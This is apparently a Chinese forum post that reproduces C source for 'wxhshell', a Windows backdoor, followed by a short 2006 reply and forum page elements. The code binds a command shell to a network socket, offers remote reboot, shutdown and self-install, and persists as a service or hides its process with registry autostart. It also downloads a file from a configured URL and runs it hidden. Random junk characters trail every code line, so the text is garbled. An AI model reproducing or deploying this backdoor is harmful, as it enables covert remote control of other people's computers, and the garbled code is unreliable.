  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+|U!X  
  else x{3q'2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hw1J <Pl*  
  } QG 1vP.K  
  else { Hlz$@[$  
\J6&Z13Q  
    switch(cmd[0]) { OE2r2ad  
  pE 6r7  
  // 帮助 @;Xa&*   
  case '?': { cG!dMab(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c3N,P<#  
    break; ~8EzK_c  
  } o)M<^b3KO  
  // 安装 U98e=57N  
  case 'i': { 9-E dT4=r,  
    if(Install()) V1\Rj0#G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O5ZR{f&  
    else  q{pa _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q+dLWFI  
    break; AdWP  
    } W_[ tdqey  
  // 卸载 qcoTt~\  
  case 'r': { ;rC< C  
    if(Uninstall()) $ spk.j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wux[h8G  
    else uE'Kk8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RP%FMb}nt  
    break; LUEZqIf  
    } -EG=}uT['b  
  // 显示 wxhshell 所在路径 :_kZkWD5  
  case 'p': { bdHHOpXM  
    char svExeFile[MAX_PATH]; Q@/Z~xw"'I  
    strcpy(svExeFile,"\n\r"); 8>[o. xV  
      strcat(svExeFile,ExeFile); >njX=r.  
        send(wsh,svExeFile,strlen(svExeFile),0); y>]Yq-  
    break; ?L6pB]l8b  
    } < mp_[-c  
  // 重启 v8>bR|n5  
  case 'b': { AL*M`m_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U3|9a8^H  
    if(Boot(REBOOT)) ^<Zye>KO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $t.M `:G  
    else { kNoS% ?1,  
    closesocket(wsh); )pG*_q  
    ExitThread(0); 98lz2d/Fcq  
    } n7L|XkaQ  
    break; j5G=ZI86y  
    } KdC'#$  
  // 关机 mJ+mTA5bW  
  case 'd': { =}2k+v-B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @j=rS S  
    if(Boot(SHUTDOWN)) /.Jq]"   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}7/UGd  
    else { nc;iJ/\4  
    closesocket(wsh); T} K@ykT  
    ExitThread(0); C;']FmK]  
    } VTK +aI  
    break; /#!1  
    } -GYJ)f  
  // 获取shell i)7B :uA  
  case 's': { #dkSAS  
    CmdShell(wsh); m=V69 a#  
    closesocket(wsh); 15M!erT  
    ExitThread(0); b ; U  
    break; |};-.}u^`h  
  } a'?V:3 ]  
  // 退出 !H~PF*,hY  
  case 'x': { bOD] `*q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hZ-?-F?*@  
    CloseIt(wsh); sU"sd7#A  
    break; UL`% Xx  
    } h}=  
  // 离开 ISg-?h/  
  case 'q': { 'L C0hoV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?%Gzd(YEY  
    closesocket(wsh); uIR/^o  
    WSACleanup(); \  `|  
    exit(1); 6`Diz_(  
    break; <J-.,:  
        } +f'@  
  } ebhV;Q.  
  } -AwkP  
b 4A1M  
  // 提示信息 =jvL2ps<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Af5%m[  
} r;GAQH}j_  
  } #&ayWef  
iO7s zi  
  return; CRu {Ie5B  
} (= W u5H  
=,Z5F`d4  
// shell模块句柄 H Em XB=  
int CmdShell(SOCKET sock) EXti  
{ Ys8D|HIk  
STARTUPINFO si; ;:'ABfs  
ZeroMemory(&si,sizeof(si)); j9&x# U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @s|yH"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0](V@F"~  
PROCESS_INFORMATION ProcessInfo; 3z -="_p  
char cmdline[]="cmd"; Xr{ r&Rl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yduj3Ht:w  
  return 0; 9 !V,++j  
} 9(hI%idq  
4{LKT^(!f  
// 自身启动模式 i&0Zli  
int StartFromService(void) O&r9+r1`  
{ ,D\}DJ`)C  
typedef struct "=yz}~,  
{ kyr=q-y  
  DWORD ExitStatus; &90pKs  
  DWORD PebBaseAddress; E=t^I/f)E  
  DWORD AffinityMask; JsDT  
  DWORD BasePriority; UoHNKB73  
  ULONG UniqueProcessId; Gk!CU"`sP  
  ULONG InheritedFromUniqueProcessId; 76b2 3|  
}   PROCESS_BASIC_INFORMATION; bpdluWS+)  
rN`-ak  
PROCNTQSIP NtQueryInformationProcess; e5m]mzF@  
Dw.Pv)'$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \!wo<UX%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iw I}  
QG5)mIJ  
  HANDLE             hProcess; JY$+<`XM  
  PROCESS_BASIC_INFORMATION pbi; Vs(D(d,  
lVgin54Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UH#S |o4  
  if(NULL == hInst ) return 0; n_4BNOZ~  
F **/T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P7*?E*   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c!]yT0v&s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M>u84|`  
1HUe8m[#3  
  if (!NtQueryInformationProcess) return 0; }U qL2KXi4  
U[6 ~ad a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CQ'4 ".7  
  if(!hProcess) return 0; +q] kpkG!  
 !qTP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Aq_?8Cd  
@m9dB P  
  CloseHandle(hProcess); q m"AatA  
IY}{1[<N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _vUId?9@+e  
if(hProcess==NULL) return 0; #-kx$(''V  
@[~j|YH}  
HMODULE hMod; >[4CQK`U  
char procName[255]; nk2H^RM^  
unsigned long cbNeeded; q5~"8]Dls  
@Op7OFY%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QPKY9.Rvv  
rDC=rG  
  CloseHandle(hProcess); >g2Z t;*@w  
Q'0:k{G  
if(strstr(procName,"services")) return 1; // 以服务启动 oPrK{flm  
J1Oe`my  
  return 0; // 注册表启动 lSBu,UQP  
} y~Vl0f;  
O]G3l0  
// 主模块 %QQJSake|  
int StartWxhshell(LPSTR lpCmdLine) Z%QU5.  
{ T.q7~ba*  
  SOCKET wsl; oFp4* <\  
BOOL val=TRUE; FH7l6b,^  
  int port=0; lD,;xuQ  
  struct sockaddr_in door; TCK<IZKLqK  
l42tTD8Awz  
  if(wscfg.ws_autoins) Install(); \!zM4ppr  
^-%O  
port=atoi(lpCmdLine); 8HL8)G6  
tfPe-U  
if(port<=0) port=wscfg.ws_port; 4AYW'j C  
{r_x\VC=p  
  WSADATA data; :Kk+wp}f #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $pj;CoPm  
eV(   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4*?i!<N9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a4Y43n  
  door.sin_family = AF_INET; L^??*XEUJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!I#Z2X  
  door.sin_port = htons(port); d+%Rg\ v  
)uy2,`z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y@Ak_]{b  
closesocket(wsl); 0t -=*7w%  
return 1; #* Iyvx  
} =[YjIWr#o  
/8LTM|(  
  if(listen(wsl,2) == INVALID_SOCKET) { SFVqUg3"Z  
closesocket(wsl); E$s?)  
return 1; ,XsBm+Q(  
} ]".SW5b_  
  Wxhshell(wsl); E6clVa  
  WSACleanup(); _dwJ;j`2  
Y#rd' 8  
return 0; c<5(c%a  
r^;1Sm  
} oe{,-<yck  
u9G  
// 以NT服务方式启动 (XQ:f|(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {3K`yDF  
{ /N=M9i\;  
DWORD   status = 0; SD]rYIu+  
  DWORD   specificError = 0xfffffff; y#-~L-J_R  
quiX "lV(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @@#(<[S\B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wqas1yL_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r%xf=};  
  serviceStatus.dwWin32ExitCode     = 0; #>O+!IH   
  serviceStatus.dwServiceSpecificExitCode = 0; 6kdcFcV-]  
  serviceStatus.dwCheckPoint       = 0; 7loIjT7  
  serviceStatus.dwWaitHint       = 0; m&+V@H  
n*A"}i`ix  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b:W x[+  
  if (hServiceStatusHandle==0) return; d5qGTT ~a  
?d@zTAI  
status = GetLastError(); ""x>-j4  
  if (status!=NO_ERROR) 6:AZZF1  
{ O.$OLK;v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y1kI^B  
    serviceStatus.dwCheckPoint       = 0; 9bu1Ax1M  
    serviceStatus.dwWaitHint       = 0; pRFlmg@/}  
    serviceStatus.dwWin32ExitCode     = status; Io]KlR@!T  
    serviceStatus.dwServiceSpecificExitCode = specificError; qw}. QwPT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0Xs!f  
    return; 6U%F mE@  
  } lh*!f$2 ~  
]w~ECP(ap  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;!pJ %p0Sc  
  serviceStatus.dwCheckPoint       = 0; $Sc;  
  serviceStatus.dwWaitHint       = 0; *m:'~\[u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `W'S'?$  
} m4RiF  
:zsMkdU  
// 处理NT服务事件,比如:启动、停止 `f\+aD'u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,*g.?q@W2  
{ O*m9qF<  
switch(fdwControl) dS;Ui]/J  
{ \>c1Z5H>  
case SERVICE_CONTROL_STOP: TS@U0Ror  
  serviceStatus.dwWin32ExitCode = 0; iKAqM{(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FUs57 V  
  serviceStatus.dwCheckPoint   = 0; 6(V"xjK  
  serviceStatus.dwWaitHint     = 0; )* Rr5l /l  
  { </23*n]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yIqRSqM  
  } yI.hN  
  return; Nuc2CB)J  
case SERVICE_CONTROL_PAUSE: UOkVU*{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +p0Y*.  
  break; W>J1JaO  
case SERVICE_CONTROL_CONTINUE: ?HP{>l0r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K8/I+#j  
  break; QUz_2rN^  
case SERVICE_CONTROL_INTERROGATE: ?io ,8  
  break; ![/ QW  
}; YL9Tsw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XrN]}S$N  
} vfOG(EkG.?  
T,5(JP(h3  
// 标准应用程序主函数 NU.YL1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /|,:'W%U  
{ Y!3i3D  
oE$zOS&2  
// 获取操作系统版本 :}[ D;cx  
OsIsNt=GetOsVer(); 9 N9Q#o$!.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F{FSmUxzK  
Rj~y#m  
  // 从命令行安装 jP"yG#  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zl{ DqC^  
apv"s+  
  // 下载执行文件 r,cK#!<%  
if(wscfg.ws_downexe) { ;Wig${  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~uh,R-Q$  
  WinExec(wscfg.ws_filenam,SW_HIDE); (V# *}eGy  
} #An_RU6h  
wo_iCjmK  
if(!OsIsNt) { 0t.v  
// 如果时win9x,隐藏进程并且设置为注册表启动 JVh/<A  
HideProc(); !=(M P:  
StartWxhshell(lpCmdLine); .oz(,$CS"  
} e\ O&Xe  
else js)I%Z  
  if(StartFromService()) {z7kW@c  
  // 以服务方式启动 a'B 5m]%  
  StartServiceCtrlDispatcher(DispatchTable); _>i<`k  
else ?oQAxb&  
  // 普通方式启动 [OQ+&\  
  StartWxhshell(lpCmdLine); mM-7 j z  
T*zy^we  
return 0; Zksow}%  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八